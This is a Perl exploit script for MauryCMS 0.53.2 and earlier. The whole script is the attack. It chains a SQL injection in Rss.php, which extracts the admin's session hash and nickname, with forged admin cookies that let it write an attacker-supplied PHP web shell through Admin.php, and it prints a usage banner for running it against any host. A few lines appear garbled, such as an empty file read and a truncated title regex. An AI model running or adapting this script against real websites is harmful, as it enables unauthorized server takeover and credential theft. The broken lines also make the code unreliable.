#!/usr/bin/perl =about MauryCMS <= 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - staker[at]hotmail[dot]it download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my ($http,$post,$user,$pass,@auth,@read,$shell); my $host = shift @ARGV; my $file = shift @ARGV or &usage; open(FILE,$file) or die("file error!\n"); @read = ; foreach(@read) { $shell .= $_; } close(FILE); &usage if $host !~ /http:\/\/(.+?)$/i && $file !~ /[a-zA-Z](\.php)/i; my @path = split /\//,substr($host,7); $http = new LWP::UserAgent( agent => "Mozilla/4.5 [en] (Win95; U)", ); @auth = split(':',get_cookies()); if(not defined($path[1])) { $user = qq{_nick=${auth[1]}; path=/; }; $pass = qq{_sauth=${auth[0]}; path=/;}; } else { $user = qq{/${path[1]}_nick=${auth[1]}; path=/; }; $pass = qq{/${path[1]}_sauth=${auth[0]}; path=/;}; } $http->default_header('Cookie' => $user.$pass); $post = $http->post($host.'/Admin.php',[ 'zone' => 'Modify', 'txtfname' => $file, 'txttext' => $shell, ]); if($post->is_success && $post->as_string =~ /File Scritto/i) { print STDOUT "Exploit Successfully!\n"; print STDOUT "$host/$file\n"; exit; } else { print STDOUT "Exploit Failed!\n"; exit; } sub get_cookies { my ($query,$cookie,$content); $query = "/Rss.php?c=-1+union+select+1,concat(sauth,0x3a,nick),". "3,4,5,6,7,8,9+from+mcms_users+where+id=1--"; $cookie = $http->get($host.$query); $content = $cookie->content; if($cookie->is_success & $content =~ /(.+?)<\/title>/i) { return $1; } } sub usage { print STDOUT "MauryCMS <= 0.53.2 Remote Shell Upload Exploit\n". "by athos - staker[at]hotmail[dot]it\n". "----------------------------------------------\n". "Usage: perl $0 http://[host] [name_shell.php]\n". "Usage: perl $0 http://localhost/cms shell.php\n"; exit; }